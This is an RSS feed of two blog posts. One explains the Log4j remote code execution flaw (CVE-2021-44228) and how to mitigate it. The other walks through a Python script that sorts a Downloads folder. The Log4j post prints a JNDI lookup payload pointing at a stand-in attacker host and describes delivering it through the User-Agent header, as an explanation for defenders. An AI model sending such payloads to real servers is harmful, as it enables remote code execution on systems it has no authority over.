<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Mukund Madhav]]></title><description><![CDATA[Mukund Madhav]]></description><link>https://mukundmadhav.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 17 Jun 2026 16:35:02 GMT</lastBuildDate><atom:link href="https://mukundmadhav.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Massive Log4j Java vulnerability: What it is & how to fix it?]]></title><description><![CDATA[Found on December 11 through an POC,  Log4J’s vulnerability  is one of the biggest vulnerabilities we have found. This will affect tens of thousands of enterprise websites running on Java. Let’s go through, what happened and how to fix it?
What is Lo...]]></description><link>https://mukundmadhav.hashnode.dev/log4j-vulnerability-fix</link><guid isPermaLink="true">https://mukundmadhav.hashnode.dev/log4j-vulnerability-fix</guid><category><![CDATA[Java]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[Programming Blogs]]></category><dc:creator><![CDATA[Mukund Madhav]]></dc:creator><pubDate>Sun, 12 Dec 2021 06:30:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1639290466328/2HsAKJi-q.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Found on December 11 through an POC,  <a target="_blank" href="https://www.tenable.com/cve/CVE-2021-44228">Log4J’s vulnerability </a> is one of the biggest vulnerabilities we have found. This will affect tens of thousands of enterprise websites running on Java. Let’s go through, what happened and how to fix it?</p>
<h2 id="heading-what-is-log4j">What is Log4J?</h2>
<p>Log4J is an extremely popular open-sources library used in Java to manage application logging. It is an extremely popular library among Java developers because of how simple it makes logging in Java.</p>
<p><strong>What does zero-day vulnerability mean?</strong></p>
<p>This means the developer has “zero days” to fix the bug and this can affect the systems immediately.</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/igtsejwbzo25dld3k2j7.png" alt="Apache log4j" /></p>
<h2 id="heading-what-does-this-log4j-vulnerability-do">What does this log4j vulnerability do?</h2>
<p>This is a Remote Code Execution vulnerability, meaning external malicious code can run on the server with it.</p>
<p>You might think how can a logging library help in remote code execution? Well, the reason why this is happening is a feature, present in Log4J. It enables log4J to actually execute Java code. This is enabled through something called JNDI.</p>
<h2 id="heading-what-is-jndi">What is JNDI?</h2>
<p>JNDI stands for Java Naming and Directory Interface. It is an API that allows applications to check on services in a resource-independent way. This has several uses — for instance, it enables access to Java resources without exposing the resources or path to them.</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b0z53r4zvw7f5qra0aqn.png" alt="JNDI" /></p>
<h2 id="heading-how-jndi-works">How JNDI works</h2>
<p>Now, in case of log4j, when it sees a JNDI reference in its logs, it will actually go to the resource location and fetch what it needs to resolve the JNDI variable and execute it.
And in the process of fetching the resource (LDAP resource), it can download remote classes and execute them!</p>
<p>So, someone can inject something like this in logs and the server would be compromised:</p>
<pre><code>${<span class="hljs-symbol">jndi:</span><span class="hljs-symbol">ldap:</span>/<span class="hljs-regexp">/hacker.com/hack</span>}
</code></pre><p>Now obvious question, how can you know what is getting logged? Because if you pass something and that isn’t logged, the attack is useless, right?</p>
<p>One of the most common things that gets logged are User-Agents (which helps server identify the clients’ OS, browser, etc.).</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/difuwpuy8f1kj51ulx4w.png" alt="Java User Agents" /></p>
<p>So, if we can change the User-Agent in the request header to our malicious JNDI and if the User Agent is logged, remote code would be executed on the server.</p>
<p>There you go. Hacked 101 🎃</p>
<h2 id="heading-who-are-affected">Who are affected?</h2>
<p>Virtually every company using Java and log4J… which might be most of the enterprise customers.</p>
<p>As of writing this, Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu are acknowledged to be vulnerable. But most probably, the real number is much more.</p>
<h2 id="heading-so-whats-the-fix">So, what’s the fix?</h2>
<p>There are currently three solutions floating around:</p>
<ol>
<li>Upgrade Log4J to 2.15.0. Here is the <a target="_blank" href="https://logging.apache.org/log4j/2.x/download.html">download link for Log4J.</a></li>
<li>Set this system level property</li>
</ol>
<pre><code><span class="hljs-attr">log4j2.formatMsgNoLookups</span>=<span class="hljs-literal">true</span>
</code></pre><p>This will disable the JDNI lookup feature. This will work if you have log4j v2.1 - 2.14.1</p>
<p>3. Delete the JDNI class file. It will be named JdniLookup.class and should be inside <em>org/apache/logging/log4j/core/lookup/JndiLookup.class</em></p>
<p>4. For versions 2.1 to 2.14.1, set the following environment variable to force change</p>
<pre><code><span class="hljs-attr">LOG4J_FORMAT_MSG_NO_LOOKUPS</span>=<span class="hljs-string">"true"</span>
</code></pre><p></p><p>That's it. Safe to say this will go down as one of the most obvious (but hopefully not much exploited in future) bug.</p>
<p></p>
<p>That’s it. Safe to say this will go down as one of the most obvious (but hopefully not much exploited in future) bug.</p>
<p>Not a cool day to say,</p>
<p><img src="https://miro.medium.com/max/519/0*b-ffFOLdpY9pWBzG.png" alt="Java devices" /></p>
<blockquote>
<p>Java runs on 3 billion devices</p>
</blockquote>
<p>For more on Java and web dev. let's connect on Twitter, <a target="_blank" href="https://twitter.com/mukundmadhav02">Mukund Madhav</a></p>
<p>Happy fixing 😃</p>
]]></content:encoded></item><item><title><![CDATA[Automatically organize downloads folder with a simple python script]]></title><description><![CDATA[Automatically organize downloads folder with a simple python script
Recently I opened my downloads folder to find pictures from my last trip and here’s what I found.

Randomly assorted 279 files with super slow Windows search. Needless to say, Marie ...]]></description><link>https://mukundmadhav.hashnode.dev/automatically-organize-downloads-folder-with-a-simple-python-script</link><guid isPermaLink="true">https://mukundmadhav.hashnode.dev/automatically-organize-downloads-folder-with-a-simple-python-script</guid><category><![CDATA[Python]]></category><category><![CDATA[Python 3]]></category><category><![CDATA[Productivity]]></category><category><![CDATA[Programming Blogs]]></category><dc:creator><![CDATA[Mukund Madhav]]></dc:creator><pubDate>Sun, 21 Nov 2021 15:01:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1637506835831/i7skrVVtm.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Automatically organize downloads folder with a simple python script</p>
<h2 id="heading-recently-i-opened-my-downloads-folder-to-find-pictures-from-my-last-trip-and-heres-what-i-found">Recently I opened my downloads folder to find pictures from my last trip and here’s what I found.</h2>
<p><img src="https://miro.medium.com/max/686/1*PVxEScdb8DEzrBacX0_ZTw.png" alt="Downloads folder" /></p>
<p>Randomly assorted 279 files with super slow Windows search. Needless to say, Marie Kondo would be highly disappointed in me.</p>
<p>This resulted in an epiphany that I needed to declutter my Downloads folder. Being the kind of lazy person I am, instead of manually cherry-picking the files, I created a python script to declutter the downloads folder.</p>
<p>Like any good transformation result, here’s a before and after:</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l4lek1uvw5aea7888ia7.png" alt="Pre python download transformation" /></p>
<p>Pre-breakthrough Downloads folder</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vheufi9osmst1hb6jgk5.png" alt="Mukund Madhav - Post Python downloads transformation" /></p>
<p>Post Script run screenshot</p>
<p>Now the cool transformation picture is out of the way, let’s dive into the juicy🧃 coding stuff.</p>
<p>Directly want the code? Here’s the Github project link to skip the article😜:</p>
<p>{% github mukundmadhav/declutter-downloads-folder-script %}</p>
<p><strong>First Step: Identify the type of files</strong>
<img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i1e0l7g9gfnkfsphk7cs.png" alt="Python Script to Organize Download folder — files" /></p>
<p>First thing before we make a Python script, we need to understand what types of extensions correspond to what file types.</p>
<p>A quick Google search landed on <a target="_blank" href="https://www.computerhope.com/issues/ch001789.htm">Computer Hope</a> and had a detailed breakdown of the file types.</p>
<p>For my particular organizer script here’s the division of file types I’ll be using:</p>
<ul>
<li>Audio: .aif .cda , .mid, .midi , .mp3 , .mpa, .ogg, .wav, .wma</li>
<li>Compressed files: .7z, .deb , pkg, .rar , .rpm , tar.gz , .z , zip</li>
<li>Code: .js, .jsp, .html, .ipynb, .py, .java, .css</li>
<li>Documents: .ppt, .pptx, .pdf, .xls, xlsx, .doc, .docx, .txt, .tex</li>
<li>Images: .bmp , .gif .ico , .jpeg, .jpg , .png ,.svg , .tif, .tiff</li>
<li>Softwares: .apk, .bat , .bin , exe , .jar , .msi , .py</li>
<li>Videos: .3gp , .avi, .flv, .h264, .mkv , .mov , .mp4, .mpg, .mpeg , .wmv</li>
<li>Others: All other extensions</li>
</ul>
<p>Now that we have our 8 folder names, let’s start coding. 🖥</p>
<p>First, let’s declare the folder names in Python.</p>
<pre><code>folder_names = {
<span class="hljs-string">"Audio"</span>: {<span class="hljs-string">'aif'</span>,<span class="hljs-string">'cda'</span>,<span class="hljs-string">'mid'</span>,<span class="hljs-string">'midi'</span>,<span class="hljs-string">'mp3'</span>,<span class="hljs-string">'mpa'</span>,<span class="hljs-string">'ogg'</span>,<span class="hljs-string">'wav'</span>,<span class="hljs-string">'wma'</span>},
<span class="hljs-string">"Compressed"</span>:{<span class="hljs-string">'7z'</span>,<span class="hljs-string">'deb'</span>,<span class="hljs-string">'pkg'</span>,<span class="hljs-string">'rar'</span>,<span class="hljs-string">'rpm'</span>, <span class="hljs-string">'tar.gz'</span>,<span class="hljs-string">'z'</span>, <span class="hljs-string">'zip'</span>},
<span class="hljs-string">'Code'</span>:{<span class="hljs-string">'js'</span>,<span class="hljs-string">'jsp'</span>,<span class="hljs-string">'html'</span>,<span class="hljs-string">'ipynb'</span>,<span class="hljs-string">'py'</span>,<span class="hljs-string">'java'</span>,<span class="hljs-string">'css'</span>},
<span class="hljs-string">'Documents'</span>:{<span class="hljs-string">'ppt'</span>,<span class="hljs-string">'pptx'</span>,<span class="hljs-string">'pdf'</span>,<span class="hljs-string">'xls'</span>, <span class="hljs-string">'xlsx'</span>,<span class="hljs-string">'doc'</span>,<span class="hljs-string">'docx'</span>,<span class="hljs-string">'txt'</span>, <span class="hljs-string">'tex'</span>, <span class="hljs-string">'epub'</span>},
<span class="hljs-string">'Images'</span>:{<span class="hljs-string">'bmp'</span>,<span class="hljs-string">'gif .ico'</span>,<span class="hljs-string">'jpeg'</span>,<span class="hljs-string">'jpg'</span>,<span class="hljs-string">'png'</span>,<span class="hljs-string">'jfif'</span>,<span class="hljs-string">'svg'</span>,<span class="hljs-string">'tif'</span>,<span class="hljs-string">'tiff'</span>},
<span class="hljs-string">'Softwares'</span>:{<span class="hljs-string">'apk'</span>,<span class="hljs-string">'bat'</span>,<span class="hljs-string">'bin'</span>, <span class="hljs-string">'exe'</span>,<span class="hljs-string">'jar'</span>,<span class="hljs-string">'msi'</span>,<span class="hljs-string">'py'</span>},
<span class="hljs-string">'Videos'</span>:{<span class="hljs-string">'3gp'</span>,<span class="hljs-string">'avi'</span>,<span class="hljs-string">'flv'</span>,<span class="hljs-string">'h264'</span>,<span class="hljs-string">'mkv'</span>,<span class="hljs-string">'mov'</span>,<span class="hljs-string">'mp4'</span>,<span class="hljs-string">'mpg'</span>,<span class="hljs-string">'mpeg'</span>,<span class="hljs-string">'wmv'</span>},
<span class="hljs-string">'Others'</span>: {<span class="hljs-string">'NONE'</span>}
}
</code></pre><p><strong>Second step: Get all the files from the Downloads Folder</strong></p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qv8aev3tlar97dep099g.png" alt="Declutter your Downloads folder" /></p>
<p>Now that we have the file types. Time to get the paths of files or folders we want to move.</p>
<p>We can do that by simply listing all the items in the Downloads folder and sorting them by whether they are a file or not</p>
<pre><code>downloads_path = r"C:\Users\casia\Downloads"
onlyfiles = [os.path.<span class="hljs-keyword">join</span>(downloads_path, file) 
        <span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> os.listdir(downloads_path) 
            <span class="hljs-keyword">if</span> os.path.isfile(os.path.<span class="hljs-keyword">join</span>(downloads_path, file))]
onlyfolders = [os.path.<span class="hljs-keyword">join</span>(downloads_path, file) 
        <span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> os.listdir(downloads_path) 
            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.isfile(os.path.<span class="hljs-keyword">join</span>(downloads_path, file))]
</code></pre><p>Now that we have the names of files that are either only folders or files, we need to move them. But before moving the files, we need to create a map so that each extension is mapped to its respective type.</p>
<p>In case we find an item whose file type we have not accounted for, we will move it to the ‘Others’ folder.</p>
<pre><code>extension_filetype_map = {<span class="hljs-keyword">extension</span>: fileType 
        <span class="hljs-keyword">for</span> fileType, extensions <span class="hljs-keyword">in</span> folder_names.items() 
                <span class="hljs-keyword">for</span> <span class="hljs-keyword">extension</span> <span class="hljs-keyword">in</span> extensions }
</code></pre><p>Now let’s go ahead and create the folder. We know that we will run this script as a cron so we need to make sure if check if a folder does not exist, then only we create the folder.</p>
<p>For the list of folder names that we have to create we can get them from the folder name mapping, we had created earlier.</p>
<pre><code>folder_paths = [os.path.<span class="hljs-keyword">join</span>(downloads_path, folder_name) 
        <span class="hljs-keyword">for</span> folder_name <span class="hljs-keyword">in</span> folder_names.keys()]
[os.mkdir(folderPath) 
        <span class="hljs-keyword">for</span> folderPath <span class="hljs-keyword">in</span> folder_paths <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.<span class="hljs-keyword">exists</span>(folderPath)]
</code></pre><p><strong>Third Step: Sort the files in their respective folder</strong></p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/alqolw23ln809dro7zu0.png" alt="Script to declutter Downloads folder — sorting" /></p>
<p>We have identified the file/folder paths. We have created a directory for the Downloads folder. The next step on the script, move files to revolve location.</p>
<p>To assist in this, we will create a helper function that will take in the old file path and return us to the new path. This new path will have the folder name in which we are to move later.</p>
<p>We will also handle unknown file types here and send them to the ‘Others’ folder.</p>
<pre><code>def new_path(old_path):
<span class="hljs-keyword">extension</span> = str(old_path).split(<span class="hljs-string">'.'</span>)[<span class="hljs-number">-1</span>]
amplified_folder = extension_filetype_map[<span class="hljs-keyword">extension</span>] <span class="hljs-keyword">if</span> <span class="hljs-keyword">extension</span> <span class="hljs-keyword">in</span> extension_filetype_map.keys() <span class="hljs-keyword">else</span> <span class="hljs-string">'Others'</span>
final_path = os.path.<span class="hljs-keyword">join</span>(downloads_path,amplified_folder, str(old_path).split(<span class="hljs-string">'\\'</span>)[<span class="hljs-number">-1</span>])
<span class="hljs-keyword">return</span> final_path
</code></pre><p>Let’s quickly now move the files to their relevant location by iterating through the files list loop.</p>
<pre><code>[Path(eachfile).<span class="hljs-keyword">rename</span>(new_path(eachfile)) <span class="hljs-keyword">for</span> eachfile <span class="hljs-keyword">in</span> onlyfiles]
</code></pre><p>Files are covered. They are organized in their various folders in Downloads. The next step does the same for unknown folders.</p>
<pre><code>[Path(onlyfolder).rename(os.path.join(downloads_path,'Others', str(onlyfolder).split('\\')[<span class="hljs-number">-1</span>])) 
        for onlyfolder in onlyfolders 
                if str(onlyfolder).split('\\')[<span class="hljs-number">-1</span>] not in folder_names.keys()]
</code></pre><p><strong>Fourth Step: Make a cron bat file</strong></p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/93dzdzxcchlpzqbwszid.png" alt="Bat image Python" /></p>
<p>Well, our script is ready. Next up we will have to create a bat file. This file will handle what happens every week in Windows. For other OS like macOS and Linux based distros you can refer to the respective blog:</p>
<ul>
<li><a target="_blank" href="https://towardsdatascience.com/how-to-easily-automate-your-python-scripts-on-mac-and-windows-459388c9cc94">Easily Automate Your Python Scripts on Mac</a></li>
<li><a target="_blank" href="https://stackoverflow.com/questions/11774925/how-to-run-a-python-file-using-cron-jobs">Run Python Scripts on cron on Linux</a></li>
</ul>
<p>In this .bat file, we will instruct it to run our python file.</p>
<p>For this, create a file with a ‘.bat’ extension and in that provide the path for your Python file.</p>
<p>Then, in the next line, write pause to stop bat execution.</p>
<pre><code><span class="hljs-string">"C:\Users\casia\Documents\declutter downloads folder.py"</span>
pause
</code></pre><p><strong>Fifth Step: Configure bat file to run every week [Windows only]</strong></p>
<p>Now let’s set up the bat file to run every weekend. We will use Windows Task Scheduler for scheduling our Python script.</p>
<p>Open Task Scheduler from the start menu.</p>
<p>It should look something like this:
<img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/poqnz251bzqhzsd9jwi0.png" alt="look like" /></p>
<p>Choose to create basic task.</p>
<p>You can fill in any name and description as it suits you</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8ikzqvuip8z4j27si138.png" alt="Basic task - automate organize downloads folder python script" /></p>
<p>In the next step, choose the weekly option. Or any other option as per your preference.</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ukwk6r418big6rdcu2x4.png" alt="Task Trigger — Automate Python Script to organize downloads folder" /></p>
<p>You can adjust the timings as per your needs</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0bdfsd0g6gvy56jkg2m9.png" alt="Time — Automate Python Script to organize downloads folder" /></p>
<p>On the next step, choose to start a program</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/joizmrt60llezmi7gvt9.png" alt="Start porgram" /></p>
<p>In my case, I have browsed to the specific path my bat file is there. This will run every week which in turn will trigger our Python script.</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r6lxrzayzdfhppkbatei.png" alt="File Browse — Automate Python Script to organize downloads folder" /></p>
<p>Confirm that all the details are correct and click on the finish button.
<img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fpfrboyjzdd2i2q6kjjo.png" alt="check details" /></p>
<p><strong>Final Step: Marvel at the result ✨</strong></p>
<p>It’s all done!</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lsv5i38bq05yzu4z04js.png" alt="Script to declutter Downloads folder — easy result" /></p>
<p>If you liked this article and would like to connect and chat, here’s my Twitter📨:
<a target="_blank" href="https://twitter.com/mukundmadhav02">Mukund Madhav</a></p>
]]></content:encoded></item></channel></rss>